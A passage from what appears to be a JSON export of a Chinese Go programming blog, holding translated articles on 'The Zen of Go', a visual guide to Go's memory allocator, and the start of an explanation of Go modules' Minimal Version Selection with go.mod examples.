这是一个明智的建议，而且它来自以缩进作为控制流主要形式的语言。我们如何用Go来解释这个建议呢？gofmt控制Go程序的整体风格(空白与缩进)，因此无需执行任何额外操作。\n我之前写过关于package名字的文章，这里可能有一些建议：避免复杂的软件包层次结构。以我的经验，程序员越努力细分和分类Go代码库，他们越有可能陷入包导入循环的死角。\n我认为第5项条款建议的最佳应用是函数内的控制流。简而言之，避免需要控制流缩进过深。\n“Line of sight is a straight line along which an observer has unobstructed vision.” - May Ryer, \u0026quot;Code: Align the happy path to the left edge\u0026quot; https://medium.com/@matryer/line-of-sight-in-code-186dd7cdea88 “代码行展现给观察者的视觉效果应该是一条畅通的直线。- May Ryer， “代码：将快乐路径对齐到左边缘” Mat Ryer将这种想法描述为视线编码(line of sight coding )。视线编码意味着：\n如果不满足前提条件，则使用保护子句尽早返回。 将成功的return语句放在函数的末尾，而不是放在条件代码块中。 通过提取函数和方法来降低函数的整体缩进级别。 该建议的关键是您所关心的事情，功能所要做的事情永远不会有在屏幕右侧滑出视线的危险。这种风格有一个额外的副作用，您可以避免团队中对行长度的毫无意义的争论。\n每次缩进时，都会向程序员堆栈添加另一个先决条件，从而消耗他们的7±2个短期内存插槽之一(译注：7±2指的是人类能短期记忆的事件数量大约是7，±2是个体差异)。将函数的成功执行路径贴近屏幕左手侧，不要深入嵌套。\n如果你认为它性能差，请通过基准测试证明 “In the face of ambiguity, refuse the temptation to guess.” - The Zen of Python, Item 12 “面对模棱两可，拒绝猜测的诱惑。” - Python之禅，条款12 编程基于数学和逻辑，这两个概念很少涉及机会元素。但是，作为程序员，我们每天都在猜测许多事情。这个变量有什么作用？此参数有什么作用？如果我在这类传入nil会怎样？如果我调用Register两次会怎样？实际上，现代编程中存在很多猜测，尤其是在使用不是你编写的库时。\n“APIs should be easy to use and hard to misuse.” - Josh Bloch “API应该易于使用并且不容易被滥用。” - 乔什·布洛赫（Josh Bloch） 我知道的帮助程序员避免猜测的最好方法之一是在构建API时，应专注于默认用例。使调用者尽可能轻松地执行最常见的事情。但是，我过去写过很多关于API设计的文章，所以我对第12项的解释是：不要猜测性能。\n尽管您可能考虑到Knuth的建议，但Go语言成功的推动力之一是其高性能的执行。您可以在Go中编写高性能的程序，因此人们会因此选择Go。关于性能有很多误解，所以我的要求是，当您希望对代码进行性能调优时，或者遇到一些教条式的建议时，例如defer缓慢，CGO昂贵，或者始终使用原子操作而不是互斥锁时，请不要猜。\n不要因为过时的教条而使您的代码复杂化，并且，如果您认为某些事情很慢，请首先使用基准测试进行证明。Go提供了出色的基准测试和性能分析工具，这些工具均可免费获得。使用它们来找出您程序中的性能瓶颈。\n在启动goroutine之前，请知道它何时会停止 在这一点上，我认为我已经从PEP-20中挖掘了有价值的要点，并且可能扩展其重新解释的范围。我认为很好，因为尽管这是一种有用的修辞手法，但最终我们还是在谈论两种不同的语言。\n“You type go, a space, and then a function call. Three keystrokes, you can’t make it much shorter than that. Three keystrokes and you’ve just started a sub process.” - Rob Pike, Simplicity is Complicated, dotGo 2015 “您键入go，一个空格和一个函数调用。三次按键，您不能做到比这还短了。三次按键，您就启动了一个子过程。” - 罗伯·派克（Rob Pike），Simplicity is Complicated，dotGo，2015年 接下来的两个建议，我将专注于goroutines。Goroutines是语言的标志性功能，这是我们给出的关于一等公民(first class)并发的答案。它们非常易于使用，只需将单词go放在语句前面，即可异步启动该函数。非常简单，没有线程，没有堆栈大小，没有线程池执行程序(thread pool executor)，没有ID，没有跟踪完成状态。\nGoroutines代价很低。由于运行时(runtime)能够将goroutine多路复用到一个小的线程池中（您不必管理），因此可以轻松容纳数十万，数百万个goroutine。这开创了在竞争性并发模型（例如线程或事件回调）下不可行的设计。\n但是，即便如goroutine一样便宜，但它们也不是免费的。至少它们的堆栈有几千字节，当您启动10^6个goroutine时，它们的确开始累加。这并不是说就不应该使用数百万个goroutine，如果你的设计需要，可以做。但是当您这样做时，请务必对其进行跟踪，因为10^6数量级的任何东西累计可能消耗的资源都不是少量的。\nGoroutines是Go中资源所有权的关键。为了程序有用，goroutine必须做一些事情，这意味着它几乎总是持有对资源的引用或所有权：锁、网络连接、带有数据的缓冲区、channel的发送端。当该goroutine处于活动状态时，将持有锁，保持网络连接打开，保留缓冲区，并且channel的接收器将继续等待更多数据。\n释放这些资源的最简单方法是将它们与goroutine的生命周期相关联-当goroutine退出时，资源释放。因此，尽管开始执行goroutine几乎是微不足道的，但在进行三次按键(go+空格)前，请确保您对以下问题有答案：\ngoroutine在什么情况下会停止？ Go没有办法告诉goroutine退出。没有停止或终止功能，这是有充分的理由的。如果我们无法命令goroutine停止，则必须礼貌地对其提出要求。这几乎总是归结于channel操作。当channel关闭时，针对一个channel的range loop将退出循环。如果一个channel关闭，它将变为可选(selectable)。从一个goroutine到另一个goroutine的信号最好表示为一个关闭的channel。\n出现这种情况需要什么？ 如果channel既是在goroutines之间进行通讯的工具，又是它们传达完成信号的机制，那么程序员面临的下一个问题就是，谁将关闭channel，何时会发生？\n您将使用什么信号知道goroutine已停止？ 当您发出信号告知goroutine要停止时，在将来的某个时间gouroutine停止动作会发生。就人类的感知而言，它可能很快发生，但是计算机每秒执行数十亿条指令，并且从每个goroutine的角度来看，它们的指令执行是不同步的。解决方案通常是使用channel发应答信号或fan-in方法需要的waitgroup。\n将并发留给调用者 在您编写的任何严肃的Go程序中，都可能涉及并发。这就提出了一个问题，我们编写的许多库和代码都采用每个连接一个goroutine或采用工作者(worker)模式。您将如何管理这些goroutine的生命周期？\nnet/http是一个很好的例子。关闭拥有监听套接字的server相对来说是直截了当的，但是从该接受套接字产生的goroutines呢？net/http确实在请求对象中提供了一个上下文(context)对象，该上下文对象可用于向正在监听的代码发出信号，表明应该取消请求(cancel)，从而终止goroutine，但是尚不清楚如何知道何时完成所有这些操作。一种方法是调用context.Cancel，知道取消已经完成是另一回事。2\n我想说明的一点net/http是，它是良好实践的反例。由于每个连接都是由net/http.Server类型内部产生的goroutine处理的，因此驻留在程序net/http包外部的程序无法控制接受套接字产生的goroutine。\n这是一个仍在不断发展的设计领域，例如go-kit的run.Group和Go团队等努力ErrGroup提供了执行，取消和等待异步运行功能的框架。\n这里更大的设计准则是针对库编写者的，或者是任何编写可以异步运行的代码的人，将使用goroutine的责任留给调用者。让调用者选择他们希望如何启动，跟踪和等待函数执行。\n编写测试以锁定包API的行为 也许您希望从我这里读到一篇我不咆哮测试的文章。可悲的是，今天不是那天。\n测试是关于您的软件做什么和不做什么的契约。程序包级别的单元测试应锁定程序包API的行为。他们用代码描述了程序包承诺要做的事情。如果针对每个输入排列组合都有一个单元测试，那么您已经定义了代码将在代码（而不是文档）中执行的约定 。\n通过简单的输入go test，您就可以断言代码是否遵守契约。在任何阶段，您都可以高度自信地知道人们在更改之前所依赖的行为在更改之后将继续有效。\n测试会锁定api行为。添加，修改或删除公共api的任何更改都必须包括对其测试的更改。\n适度是一种美德 Go是一种简单的语言，只有25个关键字。在某些方面，这使该语言内置的功能脱颖而出。同样，这些是语言销售的功能，轻量级并发，结构化类型。\n我想我们所有人都经历过尝试立即使用Go的所有功能所带来的困惑。谁对使用channel如此兴奋以至于他们尽可能多地，尽可能多地使用它们？就我个人而言，我发现结果很难测试，脆弱且最终过于复杂。只有我一个人吗？\n我在goroutines上经历了相同的经历，试图将工作分解成很小的单元，我创建了一群难以管理的goroutines，最终观察到我的大多数goroutines总是阻塞等待–代码最终是顺序的，我增加了很多复杂性，几乎没有给现实世界带来任何好处。谁经历过这样的事情？\n我在嵌入机制方面(embedding)也有同样的经历。最初，我将其误认为是继承。然后，我通过将已经承担多个职责的复杂类型组合成更复杂的巨大类型重现了创建脆弱的基类问题。\n这可能是最不可行的建议，但我认为这一点很重要。建议始终是相同的，所有事情都要适度，Go的特性也不例外。如果可以的话，请不要寻求goroutine或channel，也不要嵌入结构，匿名函数，过渡用package，为每样东西建立接口(interface)，要用简单方法而不是聪明的方法。\n可维护性很重要 我想谈谈关于PEP-20的最后一项，\n“可读性很重要。” - Python之禅，条款7 “Readability Counts.” - The Zen of Python, Item 7 关于可读性的重要性已经被谈论了很多，不仅在Go语言中，而且在所有编程语言中。像我这样的人，倡导在Go的舞台上使用简单，可读性，清晰度，生产力等词，但最终它们都是一个词的同义词- 可维护性。\n真正的目标是编写可维护的代码。原始作者之后的代码可以存活下了。存在的代码不仅可以作为时间点投资，而且可以作为未来价值的基础。不是可读性并不重要，而是可维护性更重要。\nGo并不是为聪明人而优化的语言。Go不是一种为了在程序中编写最少行数而进行优化的语言。我们没有针对磁盘上源代码的大小进行优化，也没有针对将程序键入编辑器花费的时间进行优化。而是，我们希望优化我们的代码以使读者清晰(clear)。因为需要维护此代码的人正是读者。\n如果您是为自己编写程序，则也许只需要运行一次，或者您是唯一会看到该程序的人，然后程序为您工作。但是，如果这是一个将由多个人贡献的软件，或者将由人们使用足够长的时间以致其需求，功能或运行环境可能发生变化，那么您的目标必须是针对程序的可维护性。如果无法维护软件，则它将被重写；那可能是您的公司最后一次投资Go。\n你离开后，您努力实现东西可以维护吗？您今天该如何做才能使某人明天更容易维护您的代码？\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2020/02/24/the-zen-of-go/","summary":"\u003cp\u003e本文翻译自\u003ca href=\"https://tonybai.com/tag/go\"\u003eGo\u003c/a\u003e社区知名Gopher和博主Dave Cheney的文章\u003ca href=\"https://dave.cheney.net/2020/02/23/the-zen-of-go\"\u003e《The Zen of Go》\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 1: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/the-zen-of-go.png\"\u003e\u003c/p\u003e\n\u003cp\u003e本文来自我在\u003ca href=\"https://www.gophercon.org.il/\"\u003eGopherCon Israel 2020\u003c/a\u003e上的演讲。文章很长:) 如果您希望阅读精简版，请移步到\u003ca href=\"https://the-zen-of-go.netlify.com/\"\u003ethe-zen-of-go.netlify.com\u003c/a\u003e。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e该演讲视频还未上线。如上线，我会把它更新到本文中的。\u003c/p\u003e","title":"Go语言之禅"},{"content":"本文翻译自《A visual guide to Go Memory Allocator from scratch (Golang)》。\n当我刚开始尝试了解Go的内存分配器时，我发现这真是一件可以令人发疯的事情，因为所有事情似乎都像一个神秘的黑盒(让我无从下手)。由于几乎所有技术魔法都隐藏在抽象之下，因此您需要逐一剥离这些抽象层才能理解它们。\n在这篇文章中，我们就来这么做(剥离抽象层去了解隐藏在其下面的技术魔法)。如果您想了解有关Go内存分配器的知识，那么本篇文章正适合您。\n一. 物理内存(Physical Memory)和虚拟内存(Virtual Memory) 每个内存分配器都需要使用由底层操作系统管理的虚拟内存空间(Virtual Memory Space)。让我们看看它是如何工作的吧。\n物理存储单元的简单图示（不精确的表示）\n单个存储单元（工作流程）的简要介绍：\n地址线(address line, 作为开关的晶体管)提供了访问电容器的入口(数据到数据线(data line))。 当地址线中有电流流动时（显示为红色），数据线可能会写入电容器，因此电容器已充电，并且存储的逻辑值为“1”。 当地址线没有电流流动（显示为绿色）时，数据线可能不会写入电容器，因此电容器未充电，并且存储的逻辑值为“0”。 当处理器(CPU)需要从内存(RAM)中“读取”一个值时，会沿着“地址线”发送电流（关闭开关）。如果电容器保持电荷，则电流流经“ DATA LINE”（数据线）得到的值为1；否则，没有电流流过数据线，电容器将保持未充电状态，得到的值为0。 物理内存单元如何与CPU交互的简单说明\n数据总线(Data Bus)：用于在CPU和物理内存之间传输数据。\n让我们讨论一下地址线(Address Line)和可寻址字节(Addressable Bytes)。\nCPU和物理内存之间的地址线的表示\nDRAM中的每个“字节(BYTE)”都被分配有唯一的数字标识符（地址）。 但“物理字节的表示 != 地址线的数量”。（例如：16位Intel 8088，PAE）\n每条“地址线”都可以发送1bit值，因此它可以表示给定字节地址中指定“bit”。\n在图中，我们有32条地址线。因此，每个可寻址字节都将拥有一个“32bit”的地址。\n[ 00000000000000000000000000000000 ] — 低内存地址 [ 11111111111111111111111111111111 ] — 高内存地址\n4.由于每个字节都有一个32bit地址，所以我们的地址空间由2的32次方个可寻址字节（即4GB）组成。\n因此，可寻址字节取决于地址线的总量，对于64位地址线（x86–64 CPU），其可寻址字节为2的64次方个，但是大多数使用64位指针的体系结构实际上使用48位地址线（AMD64 ）和42位地址线（英特尔），理论上支持256TB的物理RAM（Linux 在x86–64上每个进程支持128TB以及4级页表(page table)和Windows每个进程则支持192TB）\n由于实际物理内存的限制，因此每个进程都在其自己的内存沙箱中运行-“虚拟地址空间”，即虚拟内存。\n该虚拟地址空间中字节的地址不再与处理器在地址总线上放置的地址相同。因此，必须建立转换数据结构和系统，以将虚拟地址空间中的字节映射到物理内存地址上的字节。\n虚拟地址长什么样呢？\n虚拟地址空间表示\n因此，当CPU执行引用内存地址的指令时。第一步是将VMA(virtual memory address)中的逻辑地址转换为线性地址(liner address)。这个翻译工作由**内存管理单元MMU(Memory Management Unit)**完成。\n这不是物理图，仅是描述。为了简化，不包括地址翻译过程\n由于此逻辑地址太大而无法单独管理（取决于各种因素），因此将通过页(page)对其进行管理。当必要的分页构造被激活后，虚拟内存空间将被划分为称为页的较小区域（大多数OS上页大小为4KB，可以更改）。它是虚拟内存中用于内存管理的最小单位。虚拟内存不存储任何内容，仅简单地将程序的地址空间映射到真实的物理内存空间上。\n单个进程仅将VMA(虚拟内存地址)视为其地址。这样，当我们的程序请求更多“堆内存(heap memory)”时会发生什么呢？\n一段简单的用户请求更多堆内存的汇编代码\n增加堆内存\n程序通过brk（sbrk/mmap等）系统调用请求更多内存。但内核实际上仅是更新了堆的VMA。\n注意：此时，实际上并没有分配任何页帧，并且新页面也没有在物理内存存在。这也是VSZ与RSS之间的差异点。\n二. 内存分配器 有了“虚拟地址空间”的基本概述以及堆内存增加的理解之后，内存分配器现在变得更容易说明了。\n如果堆中有足够的空间来满足我们代码中的内存请求，则内存分配器可以在内核不参与的情况下满足该请求，否则它会通过系统调用brk扩大堆，通常会请求大量内存。（默认情况下，对于malloc而言，大量的意思是 \u0026gt; MMAP_THRESHOLD字节-128kB）。\n但是，内存分配器的责任不仅仅是更新brk地址。其中一个主要的工作则是如何的降低内外部的内存碎片以及如何快速分配内存块。考虑按p1~p4的顺序，先使用函数malloc在程序中请求连续内存块，然后使用函数free(pointer)释放内存。\n外部内存碎片演示\n在第4步，即使我们有足够的内存块，我们也无法满足对6个连续内存块分配的请求，从而导致内存碎片。\n那么如何减少内存碎片呢？这个问题的答案取决于底层库使用的特定的内存分配算法。\n我们将研究TCMalloc内存分配器，Go内存分配器采用的就是该内存分配器模型。\n三. TCMalloc TCMalloc（thread cache malloc）的核心思想是将内存划分为多个级别，以减少锁的粒度。在TCMalloc内部，内存管理分为两部分：线程内存和页堆(page heap)。\n线程内存(thread memory) 每个内存页分为多级固定大小的“空闲列表”，这有助于减少碎片。因此，每个线程都会有一个无锁的小对象缓存，这使得在并行程序下分配小对象（\u0026lt;= 32k）非常高效。\n线程缓存（每个线程拥有此线程本地线程缓存）\n页堆(page heap) TCMalloc管理的堆由页集合组成，其中一组连续页的集合可以用span表示。当分配的对象大于32K时，将使用页堆进行分配。\n页堆（用于span管理）\n如果没有足够的内存来分配小对象，内存分配器就会转到页堆以获取内存。如果还没有足够的内存，页堆将从操作系统中请求更多内存。\n由于这种分配模型维护了一个用户空间的内存池，因此极大地提高了内存分配和释放的效率。\n注意：尽管go内存分配器最初是基于tcmalloc的，但是现在已经有了很大的不同。\n四. Go内存分配器 我们知道Go运行时会将Goroutines（G）调度到逻辑处理器（P）上执行。同样，基于TCMalloc模型的Go还将内存页分为67个不同大小级别。\n如果您不熟悉Go调度程序，则可以在这里获取关于Go调度程序的相关知识。\nGo中的内存块的大小级别\nGo默认采用8192B大小的页。如果这个页被分成大小为1KB的块，我们一共将拿到8块这样的页:\n将8 KB页面划分为1KB的大小等级（在Go中，页的粒度保持为8KB）\nGo中的这些页面运行也通过称为mspan的结构进行管理。\n选择要分配给每个尺寸级别的尺寸类别和页面计数（将页面数分成给定尺寸的对象），以便将分配请求圆整(四舍五入)到下一个尺寸级别最多浪费12.5％\nmspan 简而言之，它是一个双向链表对象，其中包含页面的起始地址，它具有的页面的span类以及它包含的页面数。\nGo内存分配器中mspan的表示形式\nmcache 与TCMalloc一样，Go为每个逻辑处理器（P）提供了一个称为mcache的本地内存线程缓存，因此，如果Goroutine需要内存，它可以直接从mcache中获取它而无需任何锁，因为在任何时间点只有一个Goroutine在逻辑处理器（P）上运行。\nmcache包含所有级别大小的mspan作为缓存。\nGo中P，mcache和mspan之间的关系\n由于每个P拥有一个mcache，因此从mcache进行分配时无需加锁。\n对于每个级别，都有两种类型。\n* scan —包含指针的对象。\n* noscan —不包含指针的对象。\n这种方法的好处之一是在进行垃圾收集时，GC无需遍历noscan对象。\n什么Go mcache？\n对象大小\u0026lt;= 32K字节的分配将直接交给mcache，后者将使用对应大小级别的mspan应对\n当mcache没有可用插槽(slot)时会发生什么？\n从mcentral mspan list中获取一个对应大小级别的新的mspan。\nmcentral mcentral对象集合了所有给定大小级别的span，每个mcentral是两个mspan列表。\n空的mspanList — 没有空闲内存的mspan或缓存在mcache中的mspan的列表 非空mspanList – 仍有空闲内存的span列表。 当从mcentral请求新的Span时，它将从非空mspanList列表中获取（如果可用）。这两个列表之间的关系如下：当请求新的span时，该请求从非空列表中得到满足，并且该span被放入空列表中。释放span后，将根据span中空闲对象的数量将其放回非空列表。\nmcentral表示\n每个mcentral结构都在mheap中维护。\nmheap mheap是在Go中管理堆的对象，且只有一个全局mheap对象。它拥有虚拟地址空间。\nmheap的表示\n从上图可以看出，mheap具有一个mcentral数组。此数组包含每个大小级别span的mcentral。\ncentral [numSpanClasses]struct { mcentral mcentral pad [sys.CacheLineSize unsafe.Sizeof(mcentral{})%sys.CacheLineSize]byte } 由于我们对每个级别的span都有mcentral，因此当mcache从mcentral请求一个mspan时，仅涉及单个mcentral级别的锁，因此其他mache的不同级别mspan的请求也可以同时被处理。\npadding确保将MCentrals以CacheLineSize字节间隔开，以便每个MCentral.lock获得自己的缓存行，以避免错误的共享问题。\n那么，当该mcentral列表为空时会发生什么？mcentral将从mheap获取页以用于所需大小级别span的分配。\nfree [_MaxMHeapList]mSpanList：这是一个spanList数组。每个spanList中的mspan由1〜127(_MaxMHeapList-1)页组成。例如，free[3]是包含3个页面的mspan的链接列表。Free表示空闲列表，即尚未进行对象分配。它对应于忙碌列表(busy list)。\nfreelarge mSpanList：mspans列表。每个mspan的页数大于127。Go内存分配器以mtreap数据结构来维护它。对应busyLarge。\n大小\u0026gt; 32k的对象是一个大对象，直接从mheap分配。这些较大的请求需要中央锁(central lock)，因此在任何给定的时间点只能满足一个P的请求\n五. 对象分配流程 大小\u0026gt; 32k是一个大对象，直接从mheap分配。 大小\u0026lt;16B，使用mcache的tiny分配器分配 大小在16B〜32k之间，计算要使用的sizeClass，然后在mcache中使用相应的sizeClass的块分配 如果与mcache对应的sizeClass没有可用的块，则向mcentral发起请求。 如果mcentral也没有可用的块，则向mheap请求。mheap使用BestFit查找最合适的mspan。如果超出了申请的大小，则会根据需要进行划分，以返回用户所需的页面数。其余页面构成一个新的mspan，并返回mheap空闲列表。 如果mheap没有可用的span，请向操作系统申请一组新的页（至少1MB）。 但是Go在OS级别分配的页面甚至更大（称为arena）。分配大量页面将分摊与操作系统进行对话的成本。\n所有请求的堆内存都来自于arena。让我们看看arena是什么。\n六. Go虚拟内存 让我们看一个简单go程序的内存。\nfunc main（）{ for {} } 程序的进程状态\n因此，即使是简单的go程序，占用的虚拟空间也是大约100MB而RSS只有696kB。让我们尝试首先找出这种差异的原因。\nmap和smap统计信息\n因此，内存区域的大小约为〜2MB, 64MB and 32MB。这些是什么？\nArena 原来，Go中的虚拟内存布局由一组arena组成。初始堆映射是一个arena，即64MB（基于go 1.11.5）。\n当前在不同系统上的arena大小。\n因此，当前根据程序需要，内存以较小的增量进行映射，并且它以一个arena（〜64MB）开始。\n这是可变的。早期的go保留连续的虚拟地址，在64位系统上，arena大小为512 GB。（如果分配足够大并且被mmap拒绝，会发生什么？）\n这个arena集合是我们所谓的堆。Go以8192B大小粒度的页面管理每个arena。\n单个arena（64 MB）。\nGo还有两个span和bitmap块。它们都在堆外分配，并存储着每个arena的元数据。它主要在垃圾收集期间使用（因此我们现在将其保留）。\n我们刚刚讨论过的Go中的内存分配策略，但这些也仅是奇妙多样的内存分配的一些皮毛。\n但是，Go内存管理的总体思路是使用不同的内存结构为不同大小的对象使用不同的缓存级别内存来分配内存。将从操作系统接收的单个连续地址块分割为多级缓存以减少锁的使用，从而提高内存分配效率，然后根据指定的大小分配内存分配，从而减少内存碎片，并在内存释放houhou有利于更快的GC。\n现在，我将向您提供此Go Memory Allocator的全景图。\n运行时内存分配器的可视化全景图。\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2020/02/20/a-visual-guide-to-golang-memory-allocator-from-ground-up/","summary":"\u003cp\u003e本文翻译自\u003ca href=\"https://blog.learngoprogramming.com/a-visual-guide-to-golang-memory-allocator-from-ground-up-e132258453ed\"\u003e《A visual guide to Go Memory Allocator from scratch (Golang)》\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e当我刚开始尝试了解\u003ca href=\"https://tonybai.com/tag/go\"\u003eGo\u003c/a\u003e的内存分配器时，我发现这真是一件可以令人发疯的事情，因为所有事情似乎都像一个神秘的黑盒(让我无从下手)。由于几乎所有技术魔法都隐藏在抽象之下，因此您需要逐一剥离这些抽象层才能理解它们。\u003c/p\u003e\n\u003cp\u003e在这篇文章中，我们就来这么做(剥离抽象层去了解隐藏在其下面的技术魔法)。如果您想了解有关Go内存分配器的知识，那么本篇文章正适合您。\u003c/p\u003e","title":"图解Go内存分配器"},{"content":"一. 介绍 每个依赖管理解决方案都必须解决选择依赖项版本的问题。当前存在的许多版本选择算法都试图识别任何依赖项的“最新最大(latest greatest)”版本。如果您认为语义版本控制(sematic versioning)将被正确应用并且这种社会契约得到遵守，那么这是有道理的。在这样的情况下，依赖项的“最新最大”版本应该是最稳定和安全的版本，并且应与较早版本具有向后兼容性。至少在相同的主版本(major verion)依赖树中是如此。\nGo决定采用其他方法，Russ Cox花费了大量时间和精力撰写文章和演讲探讨Go团队的版本选择方法，即最小版本选择或MVS(Minimal Version Selection)。从本质上讲，Go团队相信MVS为Go程序实现痴线持久的和可重复的构建提供了最佳的方案。我建议大家阅读这篇文章以了解Go团队为什么相信这一点。\n在本文中，我将尽最大努力解释MVS语义，展示一个实际的Go语言示例，并实际使用MVS算法。\n二. MVS语义 将Go的依赖项版本选择算法命名为“最小版本选择”是有点用词不当，但是一旦您了解了它的工作原理，您会发现这个名称真的很贴切。如我之前所述，许多选择算法会选择依赖项的“最新最大”版本。我喜欢将MVS视为选择“最新非最大(latest non-greatest)”版本的算法。并不是说MVS不能选择“最新最大”，而是只要项目中的任何依赖项都不需要“最新最大”，那么就不需要该版本。\n为了更好地理解这一点，让我们创建一种情况，其中几个module（A，B和C）依赖于同一module（D），但是每个module都需要不同的版本。\n上图显示了module A，B和C如何分别独立地需要module D和各自需要D的不同版本。\n如果我启动一个需要module A的项目，那么为了构建代码，我还需要module D。module D可能有很多版本可供选择。例如，假设module D代表sirupsen的logrus module。我可以要求Go向我提供module D所有已存在（打tag)的版本列表。\n清单1：\n$ go list -m -versions github.com/sirupsen/logrus github.com/sirupsen/logrus v0.1.0 v0.1.1 v0.2.0 v0.3.0 v0.4.0 v0.4.1 v0.5.0 v0.5.1 v0.6.0 v0.6.1 v0.6.2 v0.6.3 v0.6.4 v0.6.5 v0.6.6 v0.7.0 v0.7.1 v0.7.2 v0.7.3 v0.8.0 v0.8.1 v0.8.2 v0.8.3 v0.8.4 v0.8.5 v0.8.6 v0.8.7 v0.9.0 v0.10.0 v0.11.0 v0.11.1 v0.11.2 v0.11.3 v0.11.4 v0.11.5 v1.0.0 v1.0.1 v1.0.3 v1.0.4 v1.0.5 v1.0.6 v1.1.0 v1.1.1 v1.2.0 v1.3.0 v1.4.0 v1.4.1 v1.4.2 清单2显示了module D存在的所有版本，我们看到其中显示的“最新最大”版本为1.4.2。\n该项目应选择哪个版本的module D呢？确实有两种选择。首选是选择“最新的”版本（在主要版本为1的这一行中），即v1.4.2。第二个选择是选择module A所需的版本v1.0.6。\n像dep这样的依赖工具将选择v1.4.2版，并在语义版本化和遵守社会契约的前提下可以正常工作。但是，考虑到Russ Cox在这里阐述的一些原因，Go会尊重module A的要求并选择版本1.0.6。在需要module的项目的所有依赖项的当前所需版本集合中，Go会选择“最小”版本。换句话说，现在只有module A需要module D，而module A已指定它要求的版本为v1.0.6，所需版本集合中只有v1.0.6，因此Go选择的module D的版本即是它。\n如果我引入要求项目导入module B的新代码时会怎样？将module B导入项目后，Go会将项目的module D版本从v1.0.6升级到v1.2.0。Go再次在项目依赖项module A和B的当前所需版本集合(v1.0.6和v1.2.0)中选择了module D的“最小”版本。\n如果我再次引入需要项目导入module C的新代码时会怎样？Go将从当前所需版本集合（v1.0.6，v1.2.0，v1.3.2）中选择最新版本（v1.3.2）。请注意，版本v1.3.2仍然是module D（v1.4.2）的“最小”版本，而不是“最新最大”版本。\n最后，如果删除刚刚添加的依赖module C的代码会怎样？Go会将项目锁定到module D的版本v1.3.2上。降级到版本v1.2.0将是一个更大的更改，而Go知道版本v1.3.2可以正常并稳定运行，因此版本v1.3.2仍然是module D的“最新但非最大(latest non-greatest)“版本。另外，module文件(go.mod)仅维护快照，而不是日志。没有有关历史撤消或降级的信息。\n这就是为什么我喜欢将MVS视为选择“最新非最大(latest non-greatest)”module 版本的算法的原因。希望您现在可以理解为什么Russ Cox在命名算法时选择名称“minimal”。\n三. 示例项目 有了上述基础，我将用一个示例项目让你看到Go和MVS算法实际是如何工作的。在此项目中，module D将用logrus module代表，而该项目将直接依赖于rethinkdb-go（moduleA）和golib（moduleB）module。rethinkdb-go和golib module直接依赖logrus module，并且每个module都需要一个不同的logrus版本，并且这些版本都不是logrus的“最新”版本。\n上图显示了三个module之间的独立关系。首先，我将创建项目，初始化module，然后加载VS Code。\n清单2：\n$ cd $HOME $ mkdir app $ mkdir app/cmd $ mkdir app/cmd/db $ touch app/cmd/db/main.go $ cd app $ go mod init app $ code . 清单2显示了所有要运行的命令。运行这些命令后，以下代码应出现在VS Code中。\n上图显示了项目结构和module文件应包含的内容。有了这个，现在该添加使用rethinkdb-go module的代码了。\n清单3：\nhttps://play.golang.org/p/bc5I0Afxhvc\n01 package main 02 03 import ( 04 \u0026quot;context\u0026quot; 05 \u0026quot;log\u0026quot; 06 07 db \u0026quot;gopkg.in/rethinkdb/rethinkdb-go.v5\u0026quot; 08 ) 09 10 func main() { 11 c, err := db.NewCluster([]db.Host{{Name: \u0026quot;localhost\u0026quot;, Port: 3000}}, nil) 12 if err != nil { 13 log.Fatalln(err) 14 } 15 16 if _, err = c.Query(context.Background(), db.Query{}); err != nil { 17 log.Fatalln(err) 18 } 19 } 清单3引入了rethinkdb-go module的major版本v5。添加并保存此代码后，Go会查找、下载和提取module，并更新go.mod和go.sum文件。\n清单4：\n01 module app 02 03 go 1.13 04 05 require gopkg.in/rethinkdb/rethinkdb-go.v5 v5.0.1 清单4显示了go.mod需要rethinkdb-go module作为直接依赖项，并选择了v5.0.1版本，该版本是该module的“最新最大版本”。\n清单5：\n... github.com/sirupsen/logrus v1.0.6 h1:hcP1GmhGigz/O7h1WVUM5KklBp1JoNS9FggWKdj/j3s= github.com/sirupsen/logrus v1.0.6/go.mod h1:pMByvHTf9Beacp5x1UXfOR9xyW/9antXMhjMPG0dEzc= ... 清单5显示了go.sum文件中引入logrus module v1.0.6版本的两行。在这一点上，您可以看到MVS算法已经选择了满足rethinkdb-go module指定要求所需的logrus module的“最小”版本。记住logrus 